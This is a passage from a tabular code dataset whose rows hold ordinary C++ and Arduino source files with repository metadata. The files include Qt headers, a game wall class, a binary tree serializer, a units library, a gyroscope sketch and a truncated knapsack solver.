blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 264 | content_id stringlengths 40 40 | detected_licenses listlengths 0 85 | license_type stringclasses 2 values | repo_name stringlengths 5 140 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 986 values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 3.89k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23 values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 145 values | src_encoding stringclasses 34 values | language stringclasses 1 value | is_vendor bool 1 class | is_generated bool 2 classes | length_bytes int64 3 10.4M | extension stringclasses 122 values | content stringlengths 3 10.4M | authors listlengths 1 1 | author_id stringlengths 0 158 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f56b529edef65917640a2ec907dbef1f9f1e1cb9 | e543133fe2ba1a497b120367acdc557d5896a070 | /Qt/2/03_qpainter/mainwindow.h | d48a16a120a612d3c728cf3ae0832daef46671d3 | [
"MIT"
] | permissive | tuyentm101/Embedded-Qt-Tutorial | 9434ec4d838e0eaa75a4467b1b4c4d19c703d671 | 3c75142235b4d39c22e1ad56a5bd92d08c1a0d42 | refs/heads/master | 2023-06-28T20:27:00.729197 | 2021-07-28T07:05:06 | 2021-07-28T07:05:06 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 927 | h | /******************************************************************
Copyright © Deng Zhimao Co., Ltd. 1990-2021. All rights reserved.
* @projectName 03_qpainter
* @brief mainwindow.h
* @author Deng Zhimao
* @email 1252699831@qq.com
* @net www.openedv.com
* @date 2021-03-29
*******************************************************************/
#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
#include <QPainter>
#include <QPaintEvent>
#include <QTimer>
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
MainWindow(QWidget *parent = nullptr);
~MainWindow();
/* 重写父类下的protected方法*/
protected:
void paintEvent(QPaintEvent *);
private:
/* 定时器,用于定时更新界面 */
QTimer *timer;
/* 角度 */
int angle;
private slots:
/* 槽函数 */
void timerTimeOut();
};
#endif // MAINWINDOW_H
| [
"1252699831@qq.com"
] | 1252699831@qq.com |
4f19cd423d38469d6625b544fa46b6c2d0f7e11a | b172bfa2f4affa1847f1dfb2e85ef506ec422efa | /searchGui/mainwindow.h | 7ef831d058640dc89df8217821db6028f534514e | [] | no_license | prtamil/QT-based-Inverted-Index | e871e141b6ce8200d9d2f6657f496841613e0e51 | 58dc9203c6684ea4e64789cd77d0d5954fe49a92 | refs/heads/master | 2016-09-06T11:12:37.576266 | 2012-04-06T19:58:57 | 2012-04-06T19:58:57 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 441 | h | #ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
#include <QStringList>
#include <QString>
#include <QFile>
#include <QTextStream>
#include <QDebug>
namespace Ui {
class MainWindow;
}
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
explicit MainWindow(QWidget *parent = 0);
~MainWindow();
private slots:
bool LoadFileListToList();
private:
Ui::MainWindow *ui;
};
#endif // MAINWINDOW_H
| [
"prtamil@gmail.com"
] | prtamil@gmail.com |
a88a2cf348965f7f24ab7cafa920205afb5e75ed | 2d614e2adf7850da3929bbc5548f287e3aab670b | /src/objects/cpp/wall.cpp | d4d88a32aec7735b8914e402b966794d10a964c3 | [] | no_license | caronnee/peva | 7d432d47a8f5ac63b3ec30c7cf5418bc266c2aa2 | 0a0db8f3e0f27a64e93aad36321ab65521179b73 | refs/heads/master | 2020-04-25T15:03:24.673926 | 2010-08-16T10:35:25 | 2010-08-16T10:35:25 | 32,673,961 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,614 | cpp | #include <iostream>
#include "../h/wall.h"
Wall::Wall(Skin * s, List * abyss):Object(s,abyss)
{
name = "Wall";
objectSaveId = SaveWall;
type = Wall_;
attack = 10;
movement.angle = 0;
movement.direction = Position (0,0);
movement.position_in_map.x = 0;
movement.position_in_map.y = 0;
movement.steps = 0;
}
void Wall::hit(Object * o)
{
throw "No way! How a static wall can hit something!";
}
void Wall::hitted(Object * attacker, Position p, int attack)
{
// attacker->bounce(this);
Object::hitted(attacker,p, attack);
}
Wall::~Wall() { }
PushableWall::PushableWall( Skin * s, List * abyss):Wall(s, abyss)
{
objectSaveId = SavePushableWall;
type = Wall_;
defaultStep = 10;
attack = 10;
name = "Wall";
movement.direction.x = 0;
movement.direction.y = 0;
}
void PushableWall::hit(Object * attacked)
{
// attacked->hitted(this,movement.direction,0);
Object::bounce(attacked);
}
void PushableWall::hitted(Object * o, Position dir, int attack)
{
movement.steps = o->attack * defaultStep;
movement.direction += dir;
movement.direction.x /= 2;
movement.direction.y /= 2;
}
PushableWall::~PushableWall() { }
TrapWall::TrapWall(Skin * s, List * abyss) : Wall(s, abyss)
{
objectSaveId = SaveTrapWall;
type = Wall_;
defense = 0;
attack = 10;
hitpoints = 100;
invisible = rand()%2;
name = "TrapWall";
}
bool TrapWall::is_blocking()
{
return invisible;
}
//FIXME nesmu sa prekryvat
void TrapWall::hitted(Object *o, Position p, int oAttack)
{
invisible = rand()%3;
if (invisible)
return;
o->hitted(this, movement.direction, attack);
hitpoints -= oAttack/2;
}
TrapWall::~TrapWall() {}
| [
"caronnee@11875ef8-eda2-11dd-ada0-abde575de245"
] | caronnee@11875ef8-eda2-11dd-ada0-abde575de245 |
dfb4033268ffe26bf515093be67d57ec0237e88c | c10d4e7e1afb599ba348f1fa4216894925f3aa87 | /CC/Deserialize-serialize.cpp | 4ca75093abdf16dbc528599dd4678d17ec4c469e | [] | no_license | divyanshasharma/Data-Structures | dd1832a4c892213a8fc852b9d29f874475c1a65e | c3e888b9a7b20858fbb3400fc823cbce56ae7e73 | refs/heads/main | 2023-08-24T16:38:37.740914 | 2021-10-18T16:53:02 | 2021-10-18T16:53:02 | 325,808,995 | 4 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,899 | cpp | //https://practice.geeksforgeeks.org/problems/serialize-and-deserialize-a-binary-tree/1/?company[]=Accolite&company[]=Accolite&page=1&query=company[]Accolitepage1company[]Accolite#
class Solution
{
public:
//Function to serialize a tree and return a list containing nodes of tree.
vector<int> serialize(Node *r)
{
vector<int>v;
queue<Node*>q;
if(r==NULL){
v.push_back(-1);
return v;
}
q.push(r);
while(!q.empty()){
auto t=q.front();
q.pop();
if(t==NULL){
v.push_back(-1);
}
else{
v.push_back(t->data);
q.push(t->left);
q.push(t->right);
}
}
return v;
}
//Function to deserialize a list and construct the tree.
Node * deSerialize(vector<int> &A)
{
//Your code here
int i=0;
if(A[0]==-1)return NULL;
Node *rr=(Node *)malloc(sizeof(Node));
rr->data=A[0];
rr->left=rr->right=NULL;
queue<Node* >q;
q.push(rr);
while(!q.empty()){
auto r=q.front();
q.pop();
if(A[i+1]!=-1){
Node *t=(Node *)malloc(sizeof(Node));
t->data=A[i+1];
t->left=NULL;
t->right=NULL;
r->left=t;
q.push(t);
}
else{
r->left=NULL;
}
if(A[i+2]!=-1){
Node *t=(Node *)malloc(sizeof(Node));
t->data=A[i+2];
t->left=NULL;
t->right=NULL;
r->right=t;
q.push(t);
}else{
r->right=NULL;
}
i+=2;
}
return rr;
}
};
| [
"noreply@github.com"
] | divyanshasharma.noreply@github.com |
77b5b5c4769337bba2bfdfc75cfbb5d4b64f77bc | 4c7d0acead0c7a8ce031d59fa835070c74f98307 | /c++/manager/Manager.cpp | edd29125a0652510524b0521969d3743f565d5e8 | [] | no_license | tones31/snips | bfaa147600754136c40507d2039d3cccc24500e3 | 6ad74934418c9338ed7caec658e17e3c34547020 | refs/heads/master | 2021-01-19T13:49:14.037340 | 2017-10-27T03:49:22 | 2017-10-27T03:49:22 | 82,419,437 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 905 | cpp | #include <iostream>
#include <vector>
using namespace std;
class Player{
public:
Player(string name);
string name;
};
Player::Player(string name){
this->name = name;
}
class Manager {
public:
~Manager();
vector<Player*> players;
void AddPlayer(Player* player);
void CreatePlayer(string name);
void DeletePlayers();
};
Manager::~Manager(){
this->DeletePlayers();
}
void Manager::AddPlayer(Player* player){
this->players.push_back(player);
}
void Manager::CreatePlayer(string name){
Player *player = new Player(name);
this->AddPlayer(player);
}
void Manager::DeletePlayers(){
vector<Player*>::iterator it;
for(it = this->players.begin(); it != this->players.end(); ++it){
cout << " dalitin";
delete *it;
}
}
int main() {
Manager manager;
manager.CreatePlayer("bob");
return 0;
} | [
"anthagostino@gmail.com"
] | anthagostino@gmail.com |
add34fed0365a1780f7823b4d9b15d6c09289de2 | f2c7c3d7f17ea892dea10a0546dc1c5e12ed23d9 | /P1_2021_II_PII_XAMB/P1_2021_II_PII.cpp | cd4a92e7232cd79c19299b8984bb6443f2a82edc | [] | no_license | xiomaramaradiaga/Investigacion1_PII_II | 79d7ecbe8cdb4298f7f5354cd416b72148743af2 | c1d0c787796426eca8d83642b3efdcce6b1dc09a | refs/heads/master | 2023-06-08T18:38:42.235512 | 2021-07-01T05:24:57 | 2021-07-01T05:24:57 | 381,919,321 | 0 | 0 | null | null | null | null | WINDOWS-1250 | C++ | false | false | 1,977 | cpp | #include <iostream>
using namespace std;
int main() {
double producto1 = 2.98;
double producto2 = 4.50;
double producto3 = 9.98;
double producto4 = 4.49;
double producto5 = 6.87;
double venta = 0;
double PFINAL = 0;
int comprado = 0;
while (comprado < 5) {
cout << "Almacen La Antorcha" << endl;
cout << "Que producto desea agregar?" << endl;
cout << "Producto 1 $" << producto1 << endl;
cout << "Producto 2 $" << producto2 << endl;
cout << "Producto 3 $" << producto3 << endl;
cout << "Producto 4 $" << producto4 << endl;
cout << "Producto 5 $" << producto5 << endl;
cin >> comprado;
cout << "Cuantos productos de este desea agregar?" << endl;
cin >> venta;
switch (comprado) {
case 1: comprado = 1;
PFINAL = (producto1 * venta);
cout << "Su compra final es de: " << PFINAL << endl;
cout << "Precio del producto: " << producto1 << " Cantidad: " << venta << endl;
cout << " " << endl;
break;
case 2: comprado = 2;
PFINAL = (producto2 * venta);
cout << "Su compra final es de: " << PFINAL << endl;
cout << "Precio del producto: " << producto2 << " Cantidad: " << venta << endl;
cout << " " << endl;
break;
case 3: comprado = 3;
PFINAL = (producto3 * venta);
cout << "Su compra final es de: " << PFINAL << endl;
cout << "Precio del producto: " << producto3 << " Cantidad: " << venta << endl;
cout << " " << endl;
break;
case 4: comprado = 4;
PFINAL = (producto4 * venta);
cout << "Su compra final es de: " << PFINAL << endl;
cout << "Precio del producto: " << producto4 << " Cantidad: " << venta << endl;
cout << " " << endl;
break;
case 5: comprado = 5;
PFINAL = (producto5 * venta);
cout << "Su compra final es de: " << PFINAL << endl;
cout << "Precio del producto: " << producto5 << " Cantidad: " << venta << endl;
cout << " " << endl;
break;
default:
cout << "No escogió ninguna de las opciones" << endl;
system("pause");
return 0;
}
}
} | [
"maral@DESKTOP-E87S5QA"
] | maral@DESKTOP-E87S5QA |
17cc5b2a3e8a9559140366fb9d2957045df53c7c | 65aaba4d24cfbddb05acc0b0ad814632e3b52837 | /src/osrm.net/libosrm/osrm-deps/boost/include/boost-1_62/boost/iostreams/filter/symmetric.hpp | 8584dee1233d815ba19af228a294a7f495d5e73d | [
"MIT"
] | permissive | tstaa/osrmnet | 3599eb01383ee99dc6207ad39eda13a245e7764f | 891e66e0d91e76ee571f69ef52536c1153f91b10 | refs/heads/master | 2021-01-21T07:03:22.508378 | 2017-02-26T04:59:50 | 2017-02-26T04:59:50 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 130 | hpp | version https://git-lfs.github.com/spec/v1
oid sha256:c15e88a8df3fbd2d9313495e6961dd3ac08aadadd6dd484ea026d960c3a5f575
size 11074
| [
"ssuluh@yahoo.com"
] | ssuluh@yahoo.com |
91e3d43afdb85402e23870068e8395c9d9724c08 | 5fb8eab0b5dd99e2a5945e2f71f293f39864bdab | /4-1-e2-b.cpp | fc7c19d135453921f875d3681c45536dbf018082 | [] | no_license | JohnTsangCN/CCF_FIRST | cf565ae04d59fad39b03bc2aa01bef0624aa4ccf | 009fb70efd6dcb5680cb6156e731b6fa9eb3452f | refs/heads/master | 2023-07-07T07:56:48.811228 | 2021-08-08T14:27:08 | 2021-08-08T14:27:08 | 260,654,654 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 182 | cpp | #include<iostream>
using namespace std;
int main()
{
int i,sum1,sum2;
sum1=0;
sum2=0;
for(i=1;i<=10;i++)
{
sum1+=i;
sum2+=sum1;
}
cout<<"S="<<sum2<<endl;
return 0;
}
| [
"1368362869@qq.com"
] | 1368362869@qq.com |
73a2c339c6b28e4978a830b1b0e7486e4520d85b | 6681efa51744a3365567a226c4ae6907da349c8a | /include/marnav/units/units.hpp | 08e792f47f00681ede3283fa8fb86e8a101ea0f6 | [
"BSD-3-Clause",
"BSD-4-Clause"
] | permissive | nohal/marnav | efec79b12cb15a649dbdfaf271887a9b3d090ff3 | f23b3db472a7a39289657e5e37d9457f31c0a886 | refs/heads/master | 2023-05-26T06:16:18.423935 | 2022-10-23T20:29:14 | 2022-10-23T20:29:14 | 39,360,748 | 0 | 0 | null | 2015-07-20T03:15:44 | 2015-07-20T03:15:44 | null | UTF-8 | C++ | false | false | 7,316 | hpp | #ifndef MARNAV_UNITS_UNITS_HPP
#define MARNAV_UNITS_UNITS_HPP
#include "detail/dimension.hpp"
#include "detail/basic_unit.hpp"
#include "detail/basic_unit_ops.hpp"
#include "detail/basic_unit_cmp.hpp"
#include "detail/basic_unit_fnc.hpp"
#include "detail/basic_quantity.hpp"
#include "detail/basic_quantity_ops.hpp"
#include "detail/basic_quantity_fnc.hpp"
#include "detail/basic_quantity_cmp.hpp"
#include "detail/units.hpp"
namespace marnav
{
namespace units
{
// clang-format off
// --- units
// length
using meters = basic_unit<basic_meter <double>>;
using feet = basic_unit<basic_foot <double>>;
using inches = basic_unit<basic_inch <double>>;
using yards = basic_unit<basic_yard <double>>;
using imperial_miles = basic_unit<basic_imperial_mile <double>>;
using nautical_miles = basic_unit<basic_nautical_mile <double>>;
using fathoms = basic_unit<basic_fathom <double>>;
using kilometers = basic_unit<basic_meter <double>, std::kilo>;
using millimeters = basic_unit<basic_meter <double>, std::milli>;
// area
using squaremeters = basic_unit<basic_squaremeter <double>>;
using acres = basic_unit<basic_acre <double>>;
// volume
using qubicmeters = basic_unit<basic_qubicmeter <double>>;
using liters = basic_unit<basic_liter <double>>;
using gallons_uk = basic_unit<basic_gallon_uk <double>>;
using quarts_uk = basic_unit<basic_quart_uk <double>>;
using pints_uk = basic_unit<basic_pint_uk <double>>;
using cups_uk = basic_unit<basic_cup_uk <double>>;
using gallons_liquid_us = basic_unit<basic_gallon_liquid_us <double>>;
using quarts_liquid_us = basic_unit<basic_quart_liquid_us <double>>;
using pints_liquid_us = basic_unit<basic_pint_liquid_us <double>>;
using cups_liquid_us = basic_unit<basic_cup_liquid_us <double>>;
using gallons_dry_us = basic_unit<basic_gallon_dry_us <double>>;
using quarts_dry_us = basic_unit<basic_quart_dry_us <double>>;
using pints_dry_us = basic_unit<basic_pint_dry_us <double>>;
// velocity
using meters_per_second = basic_unit<basic_meter_per_second <double>>;
using knots = basic_unit<basic_knot <double>>;
using kilometers_per_hour = basic_unit<basic_kilometer_per_hour <double>>;
using miles_per_hour = basic_unit<basic_mile_per_hour <double>>;
// temperature
using kelvin = basic_unit<basic_kelvin <double>>;
using celsius = basic_unit<basic_celsius <double>>;
using fahrenheit = basic_unit<basic_fahrenheit <double>>;
using rankine = basic_unit<basic_rankine <double>>;
using reaumur = basic_unit<basic_reaumur <double>>;
// pressure
using bar = basic_unit<basic_bar <double>>;
using pascal = basic_unit<basic_pascal <double>>;
using psi = basic_unit<basic_psi <double>>;
using torr = basic_unit<basic_torr <double>>;
using atm = basic_unit<basic_atm <double>>;
// mass
using kilograms = basic_unit<basic_kilogram <double>>;
using pounds = basic_unit<basic_pound <double>>;
using ounces = basic_unit<basic_ounce <double>>;
using troy_ounces = basic_unit<basic_troy_ounce <double>>;
using stones = basic_unit<basic_stone <double>>;
// magnetism
using tesla = basic_unit<basic_tesla <double>>;
using weber = basic_unit<basic_weber <double>>;
// frequency
using hertz = basic_unit<basic_hertz <double>>;
// force
using newton = basic_unit<basic_newton <double>>;
// energy
using joule = basic_unit<basic_joule <double>>;
using watt = basic_unit<basic_watt <double>>;
// electric
using ampere = basic_unit<basic_ampere <double>>;
using volt = basic_unit<basic_volt <double>>;
using coulomb = basic_unit<basic_coulomb <double>>;
using farad = basic_unit<basic_farad <double>>;
using ohm = basic_unit<basic_ohm <double>>;
using siemens = basic_unit<basic_siemens <double>>;
using henry = basic_unit<basic_henry <double>>;
// time
using seconds = basic_unit<basic_second <double>>;
// --- quantities
using length = basic_quantity<dim_length, double>;
using area = basic_quantity<dim_area, double>;
using volume = basic_quantity<dim_volume, double>;
using velocity = basic_quantity<dim_velocity, double>;
using temperature = basic_quantity<dim_temperature, double>;
using pressure = basic_quantity<dim_pressure, double>;
using mass = basic_quantity<dim_mass, double>;
using magnetic_flux_density = basic_quantity<dim_magnetic_flux_density, double>;
using magnetic_flux = basic_quantity<dim_magnetic_flux, double>;
using frequency = basic_quantity<dim_frequency, double>;
using force = basic_quantity<dim_force, double>;
using energy = basic_quantity<dim_energy, double>;
using power = basic_quantity<dim_power, double>;
using electric_current = basic_quantity<dim_electric_current, double>;
using voltage = basic_quantity<dim_voltage, double>;
using electric_charge = basic_quantity<dim_electric_charge, double>;
using capacitance = basic_quantity<dim_capacitance, double>;
using electrical_resistance = basic_quantity<dim_electrical_resistance, double>;
using electrical_conductance = basic_quantity<dim_electrical_conductance, double>;
using inductance = basic_quantity<dim_inductance, double>;
using time = basic_quantity<dim_time, double>;
// clang-format on
}
}
#endif
| [
"mario.konrad@gmx.net"
] | mario.konrad@gmx.net |
e8f2cef7477fe83ab10f328384a0f392923bab50 | ee70656d4ce93d7b2a6c124b19f429564db96d7e | /FactoryMethod/src/TetrahedralCellCreator.cpp | 8e2d2b8b0f2ca399b3f8047d426eb11ad4894fac | [
"MIT"
] | permissive | guillaumetousignant/euler3D | e119174d8d2cb2fd59efa849bf231ef55598f1c3 | 7bdfaae7f6b774232b6fc9f83d40a67ccee9a8ae | refs/heads/master | 2020-04-19T20:09:28.194461 | 2019-04-16T13:35:54 | 2019-04-16T13:35:54 | 168,407,723 | 2 | 0 | MIT | 2019-03-29T15:02:06 | 2019-01-30T20:08:44 | C++ | UTF-8 | C++ | false | false | 484 | cpp | #ifndef FACTORYMETHOD_SRC_TETRAHEDRALCELLCREATOR_CPP
#define FACTORYMETHOD_SRC_TETRAHEDRALCELLCREATOR_CPP
#include "TetrahedralCellCreator.h"
Cell* TetrahedralCellCreator::createCell()
{
Cell* new_cell;
new_cell = new Cell;
// new_cell -> cell_2_cells_connectivity_ = new int[4];
// new_cell -> cell_2_faces_connectivity_ = new int[4];
// new_cell -> cell_2_nodes_connectivity_ = new int[4];
// new_cell -> cell_coordinates_= new double[3];
return new_cell;
}
#endif
| [
"helene.papillon-laroche@polymtl.ca"
] | helene.papillon-laroche@polymtl.ca |
e680c1809d28ddb45dd21abb8ec4b9053435ccaf | 64ba2b77091c05be531ba828ec309686f9988f3b | /c++/Graphene modelling/graphene_beam.cpp | bc762fbf480ae7d711c59d9b98e8c5fcf34772ee | [
"MIT"
] | permissive | robmarkcole/Useful-python | 0f718ea5f200a646b807047c5ca83081b4705f6d | 3be6169e35dc66d3e8af07d440a6895ed2455c1c | refs/heads/master | 2023-07-20T08:30:52.332756 | 2023-07-16T07:52:07 | 2023-07-16T07:52:07 | 107,223,253 | 75 | 35 | MIT | 2023-07-16T07:52:08 | 2017-10-17T05:45:32 | Jupyter Notebook | UTF-8 | C++ | false | false | 277 | cpp | #include <iostream>
#include "constants.h"
#include <cmath>
using namespace std;
int main() {
//double Grap_beam_mass = 0.5*3*1.1*7.4e-19;
//cout << Grap_beam_mass << endl;
//double Grap_sheet_mass = 0.25*pi*11*11*7.4e-19;
//cout << Grap_sheet_mass << endl;
return 0;
} | [
"robmarkcole@gmail.com"
] | robmarkcole@gmail.com |
32bdbd8b3d778929e0151b5d2186a9f37aa18eab | d0af57bda9ffa5863c8b22dfa1d0f6634b0e4e90 | /arduino/gyro_arduino.ino | 1fed2f4f82d20a67dc203601d6e511099fa72333 | [] | no_license | twstokes/arduino-gyrocube | 3873708e2cdf31c716d004586bb0cbd779f13f65 | 9879db186e957cdfe8d33840978cdf48469c062b | refs/heads/master | 2021-01-20T00:58:16.405156 | 2015-01-06T19:37:42 | 2015-01-06T19:37:42 | 28,871,796 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,747 | ino | #include <Wire.h>
#define CTRL_REG1 0x20
#define CTRL_REG2 0x21
#define CTRL_REG3 0x22
#define CTRL_REG4 0x23
int Addr = 105; // I2C address of gyro
int x, y, z;
void setup(){
Wire.begin();
Serial.begin(115200);
writeI2C(CTRL_REG1, 0x1F); // Turn on all axes, disable power down
writeI2C(CTRL_REG3, 0x08); // Enable control ready signal
writeI2C(CTRL_REG4, 0x80); // Set scale (500 deg/sec)
delay(200); // Wait to synchronize
}
void loop(){
getGyroValues(); // Get new values
// In following Dividing by 114 reduces noise
//Serial.print("Raw X:"); Serial.print(x / 114);
//Serial.print(" Raw Y:"); Serial.print(y / 114);
//Serial.print(" Raw Z:"); Serial.println(z / 114);
Serial.print(x / 114);
Serial.print(";");
Serial.print(y / 114);
Serial.print(";");
Serial.println(z / 114);
// Serial.println("test");
delay(10); // Short delay between reads
}
void getGyroValues () {
byte MSB, LSB;
MSB = readI2C(0x29);
LSB = readI2C(0x28);
x = ((MSB << 8) | LSB);
MSB = readI2C(0x2B);
LSB = readI2C(0x2A);
y = ((MSB << 8) | LSB);
MSB = readI2C(0x2D);
LSB = readI2C(0x2C);
z = ((MSB << 8) | LSB);
}
int readI2C (byte regAddr) {
Wire.beginTransmission(Addr);
Wire.write(regAddr); // Register address to read
Wire.endTransmission(); // Terminate request
Wire.requestFrom(Addr, 1); // Read a byte
while(!Wire.available()) { }; // Wait for receipt
return(Wire.read()); // Get result
}
void writeI2C (byte regAddr, byte val) {
Wire.beginTransmission(Addr);
Wire.write(regAddr);
Wire.write(val);
Wire.endTransmission();
}
| [
"tanner@tannr.com"
] | tanner@tannr.com |
0fef13fe6ad27d0615dbeccd42d15258d7cf3165 | 09e6d23ecb0882e065fc219ba015a509fb08cbfe | /partie3/src/Environment/OrganicEntity.hpp | 50c2bab4d14b47135d55f26ef9f97084a2bba694 | [] | no_license | leapistorius/Project_BA2 | ee3b83c44804e95ff4369197d0acc666f38b4137 | e3e151c3a922c3e90648c6238b5278ae3783e4f1 | refs/heads/master | 2020-12-14T23:47:54.473444 | 2020-01-19T14:47:57 | 2020-01-19T14:47:57 | 234,914,612 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,833 | hpp | #ifndef ORGANIC_ENTITY_H
#define ORGANIC_ENTITY_H
#include <iostream>
#include <Obstacle/CircularCollider.hpp>
#include <SFML/Graphics.hpp>
#include <Interface/Updatable.hpp>
class Gerbil;
class Scorpion;
class Food;
class OrganicEntity : public CircularCollider, public Updatable
{
public:
//constructeur et destructeur
OrganicEntity(const Vec2d& position_, double taille, double energie);
virtual ~OrganicEntity() = default;
//methodes update
virtual void update(sf::Time dt) override;
void updateTime (sf::Time dt);
void updateEnergie (sf::Time dt);
virtual void draw(sf::RenderTarget& targetWindow) const = 0;
virtual void meet() = 0;
virtual void eating(double& energie) = 0;
bool isDead();
//getters
virtual sf::Texture& getTexture() const = 0;
virtual double getEnergieInitial() const = 0;
virtual double getSize() const = 0;
virtual double getPerteEnergie() const = 0;
double getEnergie() const;
virtual double getVitesse() const = 0;
virtual double getEnergieConsumption() const = 0;
virtual sf::Time getLongetivity() const; //retourne temps en vie maximal
virtual sf::Time getTempsEnceinte() const = 0;
//setter
void setEnergie(double energie);
//methodes eatable
virtual bool eatable(OrganicEntity const* entity) const = 0;
virtual bool eatableBy(Gerbil const* gerbil) const = 0;
virtual bool eatableBy(Food const* food) const = 0;
virtual bool eatableBy(Scorpion const* scorpion) const = 0;
//methode matable
virtual bool matable(OrganicEntity const* other) const = 0;
virtual bool canMate(Scorpion const* scorpion) const = 0;
virtual bool canMate(Gerbil const* gerbil) const = 0;
virtual bool canMate(Food const* food) const = 0;
protected:
double niveauEnergie;
sf::Time tempsEnVie; //temps en vie courant
};
#endif
| [
"lea.pistorius@gmail.com"
] | lea.pistorius@gmail.com |
997e93ec47f32bc131ba18336a5b52bfd9e15ced | a4c5086ad9c837087a810db4e7394e679e9b9c86 | /scintilla/lexlib/LexerUtils.h | cf76832274836ef15a9a817d4b4d1c9ee062f7e7 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference",
"BSD-2-Clause",
"LicenseRef-scancode-scintilla",
"MIT"
] | permissive | dream1986/notepad2 | e5acb413acd4c7519032092c93b5d5475d1a6b39 | d3feae88dc7a3d17819a3062cf65b9b056dce988 | refs/heads/master | 2021-05-20T16:39:24.572903 | 2020-04-02T04:33:36 | 2020-04-02T04:33:36 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,462 | h | #pragma once
namespace Scintilla {
// TODO: change packed line state to NestedStateStack (convert lexer to class).
template<int bitCount, int maxStateCount, int PackState(int state) noexcept>
inline int PackLineState(const std::vector<int>& states) {
int lineState = 0;
int count = 0;
size_t index = states.size();
while (count < maxStateCount && index != 0) {
++count;
--index;
lineState = (lineState << bitCount) | PackState(states[index]);
}
return lineState;
}
template<int bitCount, int maxStateCount, int UnpackState(int state) noexcept>
inline void UnpackLineState(int lineState, int count, std::vector<int>& states) {
constexpr int mask = (1 << bitCount) - 1;
count = (count > maxStateCount)? maxStateCount : count;
while (count > 0) {
states.push_back(UnpackState(lineState & mask));
lineState >>= bitCount;
--count;
}
}
#if 0
// nested state stack on each line
using NestedStateStack = std::map<Sci_Position, std::vector<int>>;
inline void GetNestedState(const NestedStateStack& stateStack, Sci_Position line, std::vector<int>& states) {
const auto it = stateStack.find(line);
if (it != stateStack.end()) {
states = it->second;
}
}
inline void SaveNestedState(NestedStateStack& stateStack, Sci_Position line, const std::vector<int>& states) {
if (states.empty()) {
auto it = stateStack.find(line);
if (it != stateStack.end()) {
stateStack.erase(it);
}
} else {
stateStack[line] = states;
}
}
#endif
}
| [
"zufuliu@gmail.com"
] | zufuliu@gmail.com |
789490f95293b488b3f079d688c5a7a7edcae9b8 | 40c39538c4b2134ffbed37422802df810a879347 | /OOP3_prog/controller.cpp | 020a806338663ced1cacbc02dc098c0869f112f7 | [] | no_license | seregeu/Custom-VIM-lab-MVC | 501531a0117668baf8a320666cff5a5d09ba5068 | 6f96732f5741f06ca5c9f88a7cb5d838a60a0e51 | refs/heads/master | 2023-02-04T16:54:54.987244 | 2020-12-14T20:35:37 | 2020-12-14T20:35:37 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 251 | cpp | #include "vim_like.h"
//here controller
Controller::Controller(VimModel* c_model) {
model = c_model;
}
void Controller::SendLet(const int letter) {
model->SendC(letter);
}
void Controller::UpScrollFlag(bool value) {
model->SetScrlFlag(value);
}
| [
"58789025+seregeu@users.noreply.github.com"
] | 58789025+seregeu@users.noreply.github.com |
1997d4d962d57c8c01fddd98f0bceeacea09fc5e | 538dedb27657e204cb642eaffa056c55ec620c26 | /Library/other/knapsack_expcore.cc | df251e8308462c5a29907cea22d69796183ee658 | [] | no_license | sahil-rajput/Algorithm-Implementation | 04849f95aab80a9e94d59ac86fb2ae589e67eabb | 8ee835539c8dba5c6eaa6459b563e18190d480b0 | refs/heads/master | 2022-03-05T18:39:34.099859 | 2019-10-31T04:59:02 | 2019-10-31T04:59:02 | 110,713,278 | 4 | 1 | null | 2019-10-31T04:59:04 | 2017-11-14T16:08:50 | C++ | UTF-8 | C++ | false | false | 2,721 | cc | //
// Knapsack Problem (branch-and-bound with expanding core)
//
// Description:
// We are given a set of items with profit p_i and weight w_i.
// The problem is to find a subset of items that maximizes
// the total profit under the total weight less than some capacity c.
//
// 1) c is small ==> capacity DP
// 2) p is small ==> price DP
// 3) both are large ==> branch and bound.
//
// Algorithm:
// Branch and bound with expanding core.
// We first sort the items by p_i/w_i in descending order.
// Then, the fractional solution is given by selecting
// integral {1 ... b-1} and fractional b.
// Branch-and-bound method recursively finds a solution for b = 0 and 1.
//
// For an efficient implementation, we maintain a interval [s,t];
// which means that all items i <= s is selected, and all items j >= t
// is not selected. The algorithm recursively select s or discard t.
//
// Intuitively, the algorithm enumerates all possibilities in [s,t].
// The set of items in [s,t] is called "core."
//
// Complexity:
// O(2^c), where c is the size of core. Basically, c is not so large.
//
// Verified:
// SPOJ3321.
//
// References:
// H. Kellerer, U. Pferschy, and D. Pisinger (2004):
// Knapsack problems.
// Springer Science & Business Media.
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <vector>
#include <ctime>
#include <functional>
#include <queue>
#include <algorithm>
#include <numeric>
using namespace std;
#define all(c) c.begin(),c.end()
template <class T>
struct knapsack {
T c;
struct item { T p, w; }; // price/weight
vector<item> is;
void add_item(T p, T w) {
is.push_back({p, w});
}
T det(T a, T b, T c, T d) {
return a * d - b * c;
}
T z;
void expbranch(T p, T w, int s, int t) {
if (w <= c) {
if (p >= z) z = p;
for (; t < is.size(); ++t) {
if (det(p - z - 1, w - c, is[t].p, is[t].w) < 0) return;
expbranch(p + is[t].p, w + is[t].w, s, t + 1);
}
} else {
